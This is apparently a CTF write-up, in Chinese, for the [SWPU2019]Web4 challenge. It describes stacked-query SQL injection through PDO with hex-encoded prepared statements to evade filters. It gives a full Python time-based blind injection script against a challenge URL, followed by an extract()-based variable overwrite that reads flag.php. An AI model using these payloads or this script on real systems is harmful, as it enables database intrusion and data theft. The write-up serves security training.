[SWPU2019]Web4
无论URL还是界面都很有SQL的feeling,,点击注册,发现无法提供注册,使用密码本爆破也失败(应该有过滤)

- 我们账号和密码都输入admin,开始发包和抓包


当我们在 username 输入:admin 或者 admin’; 报错消失
0x02 先来讲一下什么是PDO
https://www.runoob.com/php/php-pdo.html
默认是pdo对象的query语句是能执行有;参与的多语句执行的,那我们就能闭合前面的单引号后进行堆叠注入
-
为什么用十六进制SQL预处理语句+时间盲注来绕过
因为SQL关键字被绕过而且回显并不特别的情况下再加上某些单词如 select,if.sleep 必须使用,盲注考虑后觉得时间盲注可能性比较大
-
时间盲注思路
select if(ascii(substr((select flag from flag),{0},1))={1},sleep(5),1)
{0} 猜测字段的长度 , {1} 是32-128的ascii数值(用来盲注爆破)
-
防止SQL预处理被过滤
使用16进制
如下
1 mysql> select hex('select sleep(5)'); 2 mysql> set @a=0x73656C65637420736C656570283529; 3 mysql> prepare test from @a; 4 mysql> execute test;
select sleep(5) 语句可以让mysql服务休息5秒。这里这四句相当于执行了该语句,从而绕过上传被过滤的字符串。
#author: c1e4r import requests import json import time def main(): #题目地址 url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index''' #注入payload payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+" flag = '' for i in range(1,30): #查询payload payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(0,128): #将构造好的payload进行16进制转码和json转码 datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'} data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3: flag = flag + chr(j) print(flag) break def str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]) if __name__ == '__main__': main()
1 private $viewPath; 2 public function loadView($viewName ='', $viewData = []) 3 { 4 $this->viewPath = BASE_PATH . "/View/{$viewName}.php"; 5 if(file_exists($this->viewPath)) 6 { 7 extract($viewData); 8 include $this->viewPath; 9 } 10 } 11 12 }
1 public function actionIndex() 2 { 3 $listData = $_REQUEST; 4 $this->loadView('userIndex',$listData); 5 }
<div class="fakeimg"><?php if(!isset($img_file)) { $img_file = '/../favicon.ico'; } $img_dir = dirname(__FILE__) . $img_file; $img_base64 = imgToBase64($img_dir); echo '<img src="' . $img_base64 . '">'; //图片形式展示 ?></div>
这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./../flag.php即可,而又因为下面的路由控制
// 路由控制跳转至控制器 if(!empty($_REQUEST['r'])) { $r = explode('/', $_REQUEST['r']); list($controller,$action) = $r; $controller = "{$controller}Controller"; $action = "action{$action}"; if(class_exists($controller)) { if(method_exists($controller,$action)) { // } else { $action = "actionIndex"; } } else { $controller = "LoginController"; $action = "actionIndex"; } $data = call_user_func(array( (new $controller), $action)); } else { header("Location:index.php?r=Login/Index"); }
0x05 我们构造playload
GET: index.php?r=User/Index
POST: img_file=/../flag.php


未亡人

浙公网安备 33010602011771号